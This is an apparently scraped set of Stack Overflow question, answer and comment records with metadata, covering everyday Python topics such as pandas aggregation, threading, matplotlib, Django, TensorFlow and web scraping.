has body: Use groupby + agg with a custom aggfunc dict. f = dict.fromkeys(df.columns.difference(['KEYWORD']), 'first') f['AMOUNT'] = sum df = df.groupby('KEYWORD', as_index=False).agg(f) df KEYWORD NAME AMOUNT INFO 0 fruit orange 21 from italy 1 veggie potato 22 from germany dict.fromkeys gives me a nice way of generalising this for N number of columns. If column order matters, add a reindex operation at the end: df = df.groupby('KEYWORD', as_index=False).agg(f).reindex(columns=df.columns) df NAME KEYWORD AMOUNT INFO 0 orange fruit 21 from italy 1 potato veggie 22 from germany
score: 3
has comment: http://stackoverflow.com/comment/84559537
has comment: http://stackoverflow.com/comment/84720738
type: AcceptedAnswer
upvote count: 3

http://stackoverflow.com/a/48739378
has comment: http://stackoverflow.com/comment/84478429
type: AcceptedAnswer
upvote count: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/48739115
has body: I suppose your TALL is str like this. (Added single quotes to be string). The answer to your question (how to convert string to list) is via eval. &gt;&gt;&gt; tall_str = '[{"SALEDATE":"2018/02/06","CARID":"2002","CERTPHOTO1":"Y"},{"SALEDATE":"2018/02/06","CARID":"4791","CERTPHOTO1":""}]' &gt;&gt;&gt; print(type(tall_str)) &lt;class 'str'&gt; (1) json.loads &gt;&gt;&gt; import json &gt;&gt;&gt; tall_list = json.loads(tall_str) &gt;&gt;&gt; print(type(tall_list)) &lt;class 'list'&gt; (2) eval &gt;&gt;&gt; tall_list = eval(tall_str) &gt;&gt;&gt; print(type(tall_list)) &lt;class 'list'&gt;
downvote count: 0
has comment: http://stackoverflow.com/comment/84478492
has comment: http://stackoverflow.com/comment/84478441
answers question: http://stackoverflow.com/q/48739115
score: 3

http://stackoverflow.com/comment/84361952
score: 0
has text: you can use os.path.isfile("filename") or os.path.isdir("directname") any one to filter that
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48682280

http://stackoverflow.com/comment/84451021
has text: @hawkcurry Have you measured? Unlike a thread, which takes up various operating system resources, including a whole stack allocated in advance, a coroutine has a tiny memory footprint - only the amount needed to hold the state of the generator and of the corresponding `Task` instance. On a modern computer you could start literally millions of coroutines before running out of memory, and it's not obvious that asyncio is actively tested with a number of tasks that exceeds a reasonable amount. If nothing else, past some point Python's cyclic GC will take long enough to introduce palpable latency.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48710973

http://stackoverflow.com/comment/84689530
type: Comment
type: QuestionComment
has text: ...Can't make much sense out of it ATM but working through this [linux/man-pages/man2/fcntl](http://man7.org/linux/man-pages/man2/fcntl.2.html) might help. There would also be this NFS-safe library: [flufl.lock library](http://flufllock.readthedocs.io/en/latest/docs/using.html)
comment on: http://stackoverflow.com/q/48770531
score: 0

http://stackoverflow.com/comment/84354372
type: QuestionComment
has text: Sorry, it should be the first three columns are Keys and the fourth column is value
comment on: http://stackoverflow.com/q/48678328
type: Comment
score: 1

http://stackoverflow.com/q/48683199
tagged with: python
has answer: http://stackoverflow.com/a/48707863
has title: Python Multi-threading: Threads Number
tagged with: multithreading
type: AnsweredQuestion
tagged with: threadpool
accepted answer: http://stackoverflow.com/a/48707863
type: Question
has body: I'm currently exploring python threading's option. I have saw this kind of example to have a thread pool from multiprocessing.dummy import Pool as ThreadPool def function(x): return x * x pool = ThreadPool(4) array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] pool.map(function, array) The only problem is that I want a way to know in which thread is the function running. Is there any way to do that ? Thanks
answer count: 1
score: 0

http://stackoverflow.com/q/48752191
tagged with: python-2.7
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/48752402
has answer: http://stackoverflow.com/a/48752402
tagged with: python
has title: Pyplot projection doesn't admit data: numpy.float64 error
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/48770745
has body: I am using a Mac with HighSierra, python 2.7 and Ipython 5.5.0 When using any type of projection (such as aitoff, polar, hammer, or so) in pyplot, I can't show or save the figure except if it is empty. Even if I only try to add the grid, I already have problems (of course, also with the data). plt.figure(figsize=(8,4.2)) plt.subplot( projection="aitoff") plt.title("Aitoff projection") plt.grid(True) plt.show() Will return: --------------------------------------------------------------------------- TypeError Traceback (most recent call last) /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/artist.pyc in draw_wrapper(artist, renderer, *args, **kwargs) 53 def draw_wrapper(artist, renderer, *args, **kwargs): 54 before(artist, renderer) ---&gt; 55 draw(artist, renderer, *args, **kwargs) 56 after(artist, renderer) 57 /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/figure.pyc in draw(self, renderer) 1032 dsu.sort(key=itemgetter(0)) 1033 for zorder, a, func, args in dsu: -&gt; 1034 func(*args) 1035 1036 renderer.close_group('figure') /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/artist.pyc in draw_wrapper(artist, renderer, *args, **kwargs) 53 def draw_wrapper(artist, renderer, *args, **kwargs): 54 before(artist, renderer) ---&gt; 55 draw(artist, renderer, *args, **kwargs) 56 after(artist, renderer) 57 /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/axes.pyc in draw(self, renderer, inframe) 2084 2085 for zorder, a in dsu: -&gt; 2086 a.draw(renderer) 2087 2088 renderer.close_group('axes') /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/artist.pyc in draw_wrapper(artist, renderer, *args, **kwargs) 53 def draw_wrapper(artist, renderer, *args, **kwargs): 54 before(artist, renderer) ---&gt; 55 draw(artist, renderer, *args, **kwargs) 56 after(artist, renderer) 57 /System/Library/Frameworks/Pyt…
accepted answer: http://stackoverflow.com/a/48770745
tagged with: matplotlib
tagged with: numpy

http://stackoverflow.com/a/48792960
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84588943
answers question: http://stackoverflow.com/q/48792808
has body: You can't use an instance method as a validator. It isn't called as a bound method and is only passed the value to validate itself and not the instance, so you can't use it to compare against other values. Rather than have these separate validator methods, you should have a single clean() method that does all the validation. You can pass a dictionary of field names to errors to raise multiple validation errors.

http://stackoverflow.com/a/48700559
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/84400045
has comment: http://stackoverflow.com/comment/84401531
upvote count: 1
answers question: http://stackoverflow.com/q/48700404
has comment: http://stackoverflow.com/comment/84401544
has body: The logging format set in Python process has nothing to do with the one in Nginx and Gunicorn. If you want to set Nginx logging format, see https://www.nginx.com/resources/admin-guide/logging-and-monitoring/#access_log For gunicorn, see http://docs.gunicorn.org/en/stable/settings.html#access-log-format
downvote count: 0
has comment: http://stackoverflow.com/comment/84402109

http://stackoverflow.com/comment/84564236
score: 0
type: Comment
has text: hmph! Both yours and @jezrael's solutions work... so upvote to both.. any optimization stats on what works better?
type: AnswerComment
comment on: http://stackoverflow.com/a/48781482

http://stackoverflow.com/comment/84459266
has text: It is bad to post code or data as pictures. There is no way to copy and paste a picture into a code editor. So it will be much harder, and thus less likely, for someone to help. To get the most out of the site it is important to [ask good questions](http://stackoverflow.com/help/how-to-ask), that includes creating a [Minimal, Complete, and Verifiable](http://stackoverflow.com/help/mcve) example.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/48730088

http://stackoverflow.com/q/48719569
tagged with: neural-network
has title: Build TensorFlow graph low-level
type: UnansweredQuestion
has body: I've Graph which is an array of Links, where Link is: class Link: from_node_id to_node_id weight I want to build tf.Graph from this structure which will look like Neural Network. Every Node in Graph(tf.Operation) will do dot product between input link weights and output values from other nodes that go into that node and then pass calculated value forward. I'm new to TF and not sure what is the best way to do that, so any help is welcome. Edit: A mix of pseudocode and Python code of what I need: for link in links: if not exists link.to_node_id: create new "node_id" Node if not exists link.from_node_id: create new "node_from" Node add "node_from" to inputs of "node_to" # weights for node # creates new variable or returns one already created w = [v for v in tf.global_variables() if v.name == "Weight_" + link.to_node_id + ":0"][0] add link.weight to weights
tagged with: python
has comment: http://stackoverflow.com/comment/84439334
tagged with: low-level
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/84438201
tagged with: tensorflow
type: Question

http://stackoverflow.com/comment/84536394
has text: the problem with `subprocess.run` is that you cannot get the process id / when exception is called the master process is already killed. That's why I'm recommending `Popen` instead
comment on: http://stackoverflow.com/a/48763628
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48795621
has body: I just can't figure out how to manage some arp tables. The only data that is relevant to me is the ip address and the mac address listed. I don't know if I should, iterate through the nested_list, removing [0, 2, 4, 5] iterate through the lists, assigning [1] and [3] to new lists. I have tried both ways and I'm just not getting there. My syntax knowledge is clearly lacking. Before any of the code you're about to see I start by accessing a file using with/as and use .readlines() to create a list of strings I call read_output. Here is my code as it stands now: nested_list = [] for index in read_output: nested_list.append(index.split()) #this creates the nested list. print(nested_list) Which works fine and gives me this output as example: [['Internet', '10.220.88.1', '135', '0062.ec29.70fe', 'ARPA', 'FastEthernet4'], ['Internet', '10.220.88.40', '144', '001c.c4bf.826a', 'ARPA', 'FastEthernet4']] The arp list can be a lot bigger than this but I thought I would save some space for our example. I want to be able to go through the list and add/remove/extract data as I see fit but every time I try I am met with varying degrees of failure. If i just: print(nested_list[0][3]) I get the expected result of 0062.ec29.70fe but when I try to use a second for loop to access every [n][0], [n][2], etc., things go horribly awry. I'm starting with: for index in read_output: nested_list.append(index.split()) for indx in nested_list: # ---&gt;insert some horrible excuse for python here My intended output is taking the nested list above and trimming it down to: [['10.220.88.1', '0062.ec29.70fe'], ['10.220.88.40', '001c.c4bf.826a']]
score: -1
has title: Trouble iterating through a nested list using a for loop to edit the inner lists
tagged with: loops
type: Question
has comment: http://stackoverflow.com/comment/84593785
answer count: 2
has answer: http://stackoverflow.com/a/48796325
upvote count: 0
has answer: http://stackoverflow.com/a/48796069
possible better answer: http://stackoverflow.com/a/48796325
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/84594227
tagged with: nested-lists
accepted answer: http://stackoverflow.com/a/48796069
downvote count: 1
has comment: http://stackoverflow.com/comment/84593721
has comment: http://stackoverflow.com/comment/84594492
type: AnsweredQuestion

http://stackoverflow.com/comment/84552739
has text: Btw, just found this implementation of `U-Net` with `VGG16` https://github.com/divamgupta/image-segmentation-keras/blob/master/Models/VGGUnet.py - they used the similar idea (so the architecture that I proposed is identical to theirs)
score: 1
comment on: http://stackoverflow.com/a/48748553
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48794294
tagged with: python
score: 0
tagged with: web-scraping
has answer: http://stackoverflow.com/a/48794419
has answer: http://stackoverflow.com/a/48798229
linked to: http://stackoverflow.com/q/34673851
type: UnansweredQuestion
has title: How do I parse just html between two comments using Python 3 and Beautiful Soup
has body: I'm trying to use Beautiful Soup 4 for a scraping project, but only want to parse the html between two specific comments, similar to this: from bs4 import BeautifulSoup as bsoup from bs4 import Comment html = """ Link Address: 123 1st St., NYC 10001 Schools: School Name 1 School Name 2 School Name 3 Link Address: 456 2st St., NYC 10001 Schools: School Name 4 School Name 5 School Name 6 """ Plan is to create a list with all the tags between those comments (ignoring the others), and then iterate through the contents of each of those to extract the link, address, and school name for each school. But first I'm just trying to figure out how to limit my list of tags to the ones within those comments Closest I found was this, which is different because it only extracts first elements after specific comments, but I do assume I'll end up using the Comment class somehow.
tagged with: beautifulsoup
tagged with: python-3.x
type: Question
answer count: 2

http://stackoverflow.com/q/48646637
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84290568
upvote count: 0
has answer: http://stackoverflow.com/a/48646699
downvote count: 2
has title: How to parse sub string and get the digit after the substring in python
type: Question
has answer: http://stackoverflow.com/a/48646694
has comment: http://stackoverflow.com/comment/84290630
has body: I want to fetch the digit of the last occurance of the substring input : "abc1 foo barabc2 abc3 abc4 foobar" output : 4
has comment: http://stackoverflow.com/comment/84290736
score: -2
linked to: http://stackoverflow.com/q/17007257
has comment: http://stackoverflow.com/comment/84290548
answer count: 2
has comment: http://stackoverflow.com/comment/84290861
has comment: http://stackoverflow.com/comment/84291109

http://stackoverflow.com/q/48698535
has comment: http://stackoverflow.com/comment/84397747
tagged with: python
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/48698382
has title: Categorical dependent variable in Multinomial Logistic Regression
downvote count: 1
has comment: http://stackoverflow.com/comment/84395884
tagged with: logistic-regression
type: Question
has comment: http://stackoverflow.com/comment/84396162
score: -1
has answer: http://stackoverflow.com/a/48698649
upvote count: 0
answer count: 1
tagged with: scikit-learn
accepted answer: http://stackoverflow.com/a/48698649
favorite count: 0
has body: I am using scikit-learn LogisticRegression on a dataset where the dependent variable is a categorical variable with 10 possible values (labelled 1 to 10). My statistical knowledge is fairly rudiemntatry. The probabilities of each output value are inherently constrained by the requirement that they must sum to 1, and my understanding of the maths is that there needs to be a reference category (e.g. the most likely category) and that the probability of each of the other 9 outcomes is then expressed relative to the probability of the reference category, so effectively there are 9 coefficients (rather than 10) for each explanatory variable. I'm not clear whether this is done automatically by the LogisticRegression.fit() method, and if so does it assume the first category is the reference (1)? or do I need to somehow process the input data so there are only 9 categories? or do I ignore this and use the 10 coefficients as they are output?
tagged with: categorical-data

pipeline
type: Tag
tags question: http://stackoverflow.com/q/48703245
tags question: http://stackoverflow.com/q/48726695
tag name: pipeline

http://stackoverflow.com/comment/114651720
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/64847929
has text: I use rows and columns interchangeably, It's up to you which arrangement works.
score: 0

http://stackoverflow.com/comment/84308835
has text: the main need is to be able to store the graph inside of a buffer. Will this be able to do that?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48655424

http://stackoverflow.com/q/48759117
has answer: http://stackoverflow.com/a/48759177
tagged with: metadata
upvote count: 1
tagged with: http://stackoverflow.com/tag/jpeg
downvote count: 1
type: Question
has title: Python-edit file property descriptions in windows
score: 0
has comment: http://stackoverflow.com/comment/84519052
answer count: 1
linked to: http://stackoverflow.com/q/44636152
has body: I'm creating a simple python app to go through a folder display each JPG and allow someone to edit the photo's Title,subject,comments and add tags, then save and move on to the next. (essentially, I want to avoid, in windows, having to right click>properties>details> and edit each of the above fields, then "OK".) Can someone please recommend the libraries and modules I need to import to display the photo and edit the properties? I'm new to Python, so a snippet of code to show how do do it would be most appreciated. I'm using python 3.6 in Windows 10 Thanks in advance.
favorite count: 0
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48698283
accepted answer: http://stackoverflow.com/a/48701871
has comment: http://stackoverflow.com/comment/84395306
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84412867
answer count: 1
has body: Is it possible for the arrows on the scrollbar widget on Tkinter to be removed and have only the rectangular slider. The scrollbar is currently attached to a list box and does not require the arrows. If it is not available, is there a way to manually create a scrollbar using Tkinter? Note: Currently using Python 2.7 Thanks.
has title: Can you remove arrows on Tkinter Scrollbar widget in Python?
has answer: http://stackoverflow.com/a/48701871
tagged with: python
type: AnsweredQuestion
tagged with: tkinter
has comment: http://stackoverflow.com/comment/84413189
has comment: http://stackoverflow.com/comment/84402412
type: Question

http://stackoverflow.com/comment/84452044
type: Comment
comment on: http://stackoverflow.com/a/48726518
has text: print is not a problem at all. py3 will raise error for int <-> str comparison
type: AnswerComment
score: 1

http://stackoverflow.com/q/48793518
has body: Is it possible to have model properties (like the following) show up in the admin documentation using django.contrib.admindocs? class MyModel(models.Model): name = models.CharField(max_length=200) public = models.BooleanField(default=False) date_approved = models.DateTimeField(null=True, blank=True) @property def status(self): """ returns the status of object """ if self.date_approved and self.public: return "Public" elif self.public: return "Pending Approval" else: return "Private"
accepted answer: http://stackoverflow.com/a/50212456
type: Question
tagged with: python
score: 0
tagged with: django
has answer: http://stackoverflow.com/a/50212456
answer count: 1
has title: Possible to get documentation for model properties in django.contrib.admindocs?
type: AnsweredQuestion

http://stackoverflow.com/q/48677060
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48677151
has body: I am trying to us binascii.hexlify(b'x') in a script where x is a variable in a for loop. Currently each time I run my script it is using the character x and not what the variable x is storing. I am using Python 3.7 32 bit.
answer count: 2
has answer: http://stackoverflow.com/a/48677170
accepted answer: http://stackoverflow.com/a/48677170
score: 0
tagged with: python-3.7
has title: binascii.hexlify(b'variable') is this possible
tagged with: python
possible better answer: http://stackoverflow.com/a/48677151
has comment: http://stackoverflow.com/comment/84352327

http://stackoverflow.com/q/48697047
score: 4
answer count: 2
favorite count: 0
has answer: http://stackoverflow.com/a/48697357
accepted answer: http://stackoverflow.com/a/48697169
has body: I have a function of the sort: def GetMapping(mappings, key): mapping = mappings.get(key) if mapping is None: currentMax = mappings.get("max", 0) mapping = currentMax + 1 mappings["max"] = mapping mappings[key] = mapping return mapping, mappings Basically, given a dictionary mappings and a key key, the function returns the value associated to the key if this exists. If not, it finds the current maximum id in the dictionary, stored under the key 'max', assigns it to this key, and updates the value of max. I was wondering if there was a built-in/less verbose way of achieving this?
has comment: http://stackoverflow.com/comment/84393179
has comment: http://stackoverflow.com/comment/84393021
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/48697169
type: AnsweredQuestion
downvote count: 1
possible better answer: http://stackoverflow.com/a/48697357
type: Question
has title: Automatically updated dictionary of keys to integer mappings
upvote count: 5

http://stackoverflow.com/q/48656995
has title: django rest framework autorization returns wrong status code
tagged with: django-rest-framework
tagged with: rest
has answer: http://stackoverflow.com/a/70890489
downvote count: 0
has answer: http://stackoverflow.com/a/48659900
has comment: http://stackoverflow.com/comment/84311611
favorite count: 0
has body: I am new to django. I have a project that mobiles can have interaction with server using a token. In settings.py I have: REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.SessionAuthentication', 'rest_framework.authentication.TokenAuthentication', ), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'UPLOADED_FILES_USE_URL': False, 'DEFAULT_PAGINATION_CLASS': None, 'PAGE_SIZE': DEFAULT_PAGE_SIZE, # For views using PageNumberPagination } but when using postman I send a request with an invalid token, istead of 401 (unauthorized), 403 (forbidden) is returning. Is there anything special I can do to fix this? tnx
tagged with: http-status-codes
has comment: http://stackoverflow.com/comment/84312459
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84311628
tagged with: django
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84311646
has comment: http://stackoverflow.com/comment/84311738
score: 1
type: Question
answer count: 2

pybrain
type: Tag
tag name: pybrain
tags question: http://stackoverflow.com/q/48732704

http://stackoverflow.com/a/68114238
answers question: http://stackoverflow.com/q/48735671
type: Answer
score: 3
has body: While just trying to run :retab might not work if you have copy pasted code and started to edit it. You can try setting the vim/vi settings first: Check if you have ~/.vim/vimrc file else run sudo mkdir ~/.vim &amp;&amp; sudo touch ~/.vim/vimrc to create settings file once created edit vimrc to add below snippet set softtabstop=4 set tabstop=4 set shiftwidth=4 set expandtab open your file using vim/vi and run :retab
downvote count: 0
upvote count: 3

http://stackoverflow.com/a/48901847
answers question: http://stackoverflow.com/q/48734484
has body: Why not use Lock's or Semaphore's of Python ? https://docs.python.org/2/library/threading.html
score: 0
type: Answer

http://stackoverflow.com/comment/84473213
has text: I might add that it could be better to use a range up to the len of the list rather than just 6 since the mainword could have more or fewer letters.
comment on: http://stackoverflow.com/a/48729695
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84477684
type: QuestionComment
has text: Hi Suzanne, Thanks for the response. I would like them in text rows with each block as a list item, so that I can process it by block. You can see in the figure how a block should be. It might be ok to use csv but the file also contains a lot of texts in between which I did not show there.
comment on: http://stackoverflow.com/q/48738586
score: 0
type: Comment

http://stackoverflow.com/comment/84562823
comment on: http://stackoverflow.com/a/48780338
has text: @BlakeXavier please follow Mark's answer, he has exactly what you need.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48659449
type: Question
has title: How to compute the weighted sum of a tensor in TensorFlow?
accepted answer: http://stackoverflow.com/a/48659610
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/48661821
favorite count: 0
has answer: http://stackoverflow.com/a/48659610
has body: I want to compute the weighted sum of every row of a tensor, the weight is the element and the other multiplier is the column number. Example blew: input: [[0.2 0.5 0.3], [0.4 0.1 0.5]] output: [0.2*0+0.5*1+0.3*2, 0.4*0+0.1*1+0.5*2] = [1.1, 1.1] How should I do with it?
tagged with: python
type: AnsweredQuestion
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/48661821
tagged with: tensorflow

http://stackoverflow.com/a/48725283
has comment: http://stackoverflow.com/comment/84449654
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48725254
has body: I think you need: print (df.unstack().ffill(axis=1).stack()) Value Name date A 2017-09-30 200.000000 2017-10-31 266.666667 2017-11-30 333.333333 2017-12-31 400.000000 2018-01-31 400.000000 B 2017-09-30 200.000000 2017-10-31 300.000000 2017-11-30 400.000000 2017-12-31 500.000000 2018-01-31 600.000000
answers question: http://stackoverflow.com/q/48725254

http://stackoverflow.com/comment/84534756
score: 0
type: AnswerComment
type: Comment
has text: So what do you want? The number after the `pl` ?
comment on: http://stackoverflow.com/a/48766914

http://stackoverflow.com/q/48798939
has title: Python syntax error for executemany function
tagged with: python
tagged with: psycopg2
has comment: http://stackoverflow.com/comment/84600627
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84600608
score: 0
has comment: http://stackoverflow.com/comment/84600738
type: Question
has body: I'm trying to insert data into my database with python, but there's a syntax error in my query. I'm trying to get the code to take a list and be able to add the list into a row in a postgresql table. I've looked up some ways to add a list into a table and some of them had the '?' in it. I don't know what it means and I don't know why it might be causing the error. The error it's giving me is: syntax error at or near "," LINE 1: INSERT INTO TestTable VALUES (?, ?, ?, ?, ?, ?, ?); Here's my code. var_string = ', '.join('?' * len(items_list)) query_string = 'INSERT INTO TestTable VALUES (%s);' % var_string cur.executemany(query_string, items_list)
has comment: http://stackoverflow.com/comment/84600693
tagged with: python-2.7
answer count: 2
linked to: http://stackoverflow.com/q/8316176
tagged with: sql
has answer: http://stackoverflow.com/a/48800638
has answer: http://stackoverflow.com/a/48835223
linked to: http://stackoverflow.com/q/19235686
tagged with: postgresql
has comment: http://stackoverflow.com/comment/84600660
possible better answer: http://stackoverflow.com/a/48800638
accepted answer: http://stackoverflow.com/a/48835223

http://stackoverflow.com/a/48789103
type: Answer
answers question: http://stackoverflow.com/q/48788647
score: 0
has body: Another approach: n = 2006601400162797 div = float("1"+'0'*(len(str(n))-10)) print(n/div) output: 2006601400.162797

http://stackoverflow.com/a/77484893
type: Answer
score: 8
has comment: http://stackoverflow.com/comment/139867566
downvote count: 0
has body: For python 3.13 tensorflow is not available yet ERROR: Could not find a version that satisfies the requirement tensorflow (from versions: none) ERROR: No matching distribution found for tensorflow Please be informed that TensorFlow is just available till Python 3.12 as of 22nd January 2025 https://www.tensorflow.org/install/pip#software_requirements
answers question: http://stackoverflow.com/q/48720833
upvote count: 8

http://stackoverflow.com/a/48781789
score: 1
upvote count: 1
type: AcceptedAnswer
has body: The simplest solution I can think of is to process the keys that overlap using a dict comprehension, then update dictionary with dictionary2 followed by the overlaps. To find the sums: sums = {k: lambda x, f1=dictionary[k], f2=dictionary2[k]: f1(x) + f2(x) for k in dictionary2 if k in dictionary} A lambda should be fine since you explicitly state that the name of the function is irrelevant. I cheat a little and extract the dictionary values up front using the default parameters to the lambda, whose values are bound immediately in each iteration of the comprehension. If I had done dictionary[k](x) + dictionary2[k](x) in the lambda, the functions would only be bound when the lambda is called, by which point the value from dictionary would have been lost. Your way of doing the sum is arguably more Pythonic than what I propose here with a lambda with two additional parameters: def s(f, g): def h(x): return f(x) + g(x) return h sums = {k: s(dictionary[k], dictionary2[k]) for k in dictionary2 if k in dictionary} To update: dictionary.update(dictionary2) dictionary.update(sums)
accepted answer of: http://stackoverflow.com/q/48781397
type: Answer
answers question: http://stackoverflow.com/q/48781397
downvote count: 0

http://stackoverflow.com/comment/84337101
has text: @wim How so? Because of the `temp.pop(temp.index(i))`?
type: Comment
comment on: http://stackoverflow.com/a/48669456
score: 0
type: AnswerComment

http://stackoverflow.com/a/48715442
score: 0
answers question: http://stackoverflow.com/q/48711511
has body: Let's say I have 3 files: mod1.py: condition = input() mod2.py: import mod1 as m1 mod3.py: import mod2 as m2 If I want to use an object from mod1.py inside mod3.py I can simply chain my modules in mod3.py to: import mod2 as m2 if m2.m1.condition: print(m2.m1.condition)
has comment: http://stackoverflow.com/comment/84430911
type: Answer

http://stackoverflow.com/a/48796248
type: Answer
answers question: http://stackoverflow.com/q/48791195
has body: The problem occurred at a different location in the code. def escape_kw_value(value): if not isinstance(value, str): return value elif (value.startswith(('"', "'")) and value.endswith(('"', "'"))): return value # TODO escape the quote with \" or \' #if value.startswith(('"', "'")) or value.endswith(('"', "'")): # return value if " " in value: value = '"{}"'.format(value) return value
score: 0

http://stackoverflow.com/a/48688754
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/48688562
answers question: http://stackoverflow.com/q/48688562
upvote count: 1
type: AcceptedAnswer
has body: You just need to apply pd.Series couple of time df=pd.DataFrame(d) s=df.positions.apply(pd.Series) v=s.short.apply(pd.Series) t=s.long.apply(pd.Series) Yourdf=pd.concat([df,v,s,t],1).drop(['short','positions','long'],1)
type: Answer

http://stackoverflow.com/q/48709246
has comment: http://stackoverflow.com/comment/84419574
upvote count: 1
has comment: http://stackoverflow.com/comment/84419725
downvote count: 1
type: Question
has body: I'm stuck in Codewars Kata, I hope someone could help me out (without spoiling the solution). In fact the problem is that I didn't fully understand how it should work, I got the idea of the exercise but things are a bit confusing especially in Sample tests. Here are the instructions: The number 81 has a special property, a certain power of the sum of its digits is equal to 81 (nine squared). Eighty one (81), is the first number in having this property (not considering numbers of one digit). The next one, is 512. Let's see both cases with the details. 8 + 1 = 9 and 9^2 = 81 512 = 5 + 1 + 2 = 8 and 8^3 = 512 We need to make a function, power_sumDigTerm(), that receives a number n and may output the nth term of this sequence of numbers. The cases we presented above means that: power_sumDigTerm(1) == 81 power_sumDigTerm(2) == 512 And here are the sample tests: test.describe("Example Tests") test.it("n = " + str(1)) test.assert_equals(power_sumDigTerm(1), 81) test.it("n = " + str(2)) test.assert_equals(power_sumDigTerm(2), 512) test.it("n = " + str(3)) test.assert_equals(power_sumDigTerm(3), 2401) test.it("n = " + str(4)) test.assert_equals(power_sumDigTerm(4), 4913) test.it("n = " + str(5)) test.assert_equals(power_sumDigTerm(5), 5832) My main problem is how did they get the results for the sample tests.
has title: Numbers that are a power of their sum of digits Codewars
tagged with: algorithm
has comment: http://stackoverflow.com/comment/84418809
tagged with: math
has answer: http://stackoverflow.com/a/48709814
has comment: http://stackoverflow.com/comment/84417598
has answer: http://stackoverflow.com/a/48710479
has answer: http://stackoverflow.com/a/78610339
score: 0
has comment: http://stackoverflow.com/comment/84503162
has answer: http://stackoverflow.com/a/48714366
favorite count: 0
has comment: http://stackoverflow.com/comment/84417539
type: UnansweredQuestion
tagged with: python
answer count: 4
has comment: http://stackoverflow.com/comment/84418862

http://stackoverflow.com/q/48749015
has body: I have a set of 1000 (2D) pd.Dataframe (lets say, index:time, columns: run_id) and each one of them has 3 properties (let's say temperature, pressure, location). Ideally I would like to have everything in a xr.DataArray with 5 dimensions (or a xr.Dataset with 4 dimensions and having the last dimension as unique data variables). I created one DataArray with two dims and 2+3 coords but then the xr.concat doesnt seem to work for multiple dimensions. (I followed the approach mentioned here Add 'constant' dimension to xarray Dataset. ) Example: I build DataArrays from individual dataframes and list of properties. # Mock data: data = {} for i in np.arange(500): data[i] = pd.DataFrame(np.random.randn(1000, 8), index=pd.DatetimeIndex(start='01.01.2013',periods=1000,freq='h'), columns=list('ABCDEFGH')) df_catalogue = pd.DataFrame(np.random.choice(10,(500, 3)), columns=['temp','pre','zon']) #Build DataArrays adding scalar coords res_da = [] for i,v in df_catalogue.iterrows(): i_df = data[i] # data is a dictionary of properly indexed dataframes da = xr.DataArray(i_df.values, coords={'time':i_df.index.values,'runs':i_df.columns.values, 'temp':v['temp'], 'pre':v['pre'],'zon':v['zon']}, dims=['time','runs']) res_da.append(da) But when I try all_da = xr.concat(res_da, dim=['temp','pre','zon']) I get strange results. What is the best way to achieve something like this: <xarray.DataArray (time: 8000, runs: 50, temp:8, pre:10, zon: 5)> array([[[ 4545.453613, 4545.453613, ..., 4545.453613, 4545.453613], [ 4545.453613, 4545.453613, ..., 4545.453613, 4545.453613], ..., [ 4177.425781, 4177.425781, ..., 4177.425781, 4177.425781]]], dtype=float32) Coordinates: * runs (runs) object 'A' 'B' ... * time (time) datetime64[ns] 2013-12-31T23:00:00 2014-01-01 ... * zon (zon) 'zon1', 'zon2', 'zon3', ...... * temp (temp) 'XX' 'YY', 'ZZ' ..... * pre (pre) 'AAA', 'BBB', 'CCC' ....
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84613984
has comment: http://stackoverflow.com/comment/84532730
has answer: http://stackoverflow.com/a/48835629
tagged with: dataframe
tagged with: python-xarray
has comment: http://stackoverflow.com/comment/84515999
linked to: http://stackoverflow.com/q/37173580
answer count: 1
downvote count: 0
favorite count: 0
has title: Best practice to xarray Multiindex concat
has comment: http://stackoverflow.com/comment/84500119
tagged with: python
has comment: http://stackoverflow.com/comment/84501849
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48835629
score: 1

http://stackoverflow.com/q/48792841
score: 3
has title: Can a separate process be started from within a flask controller by using the multiprocessing library?
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48804653
tagged with: python
type: AnsweredQuestion
upvote count: 3
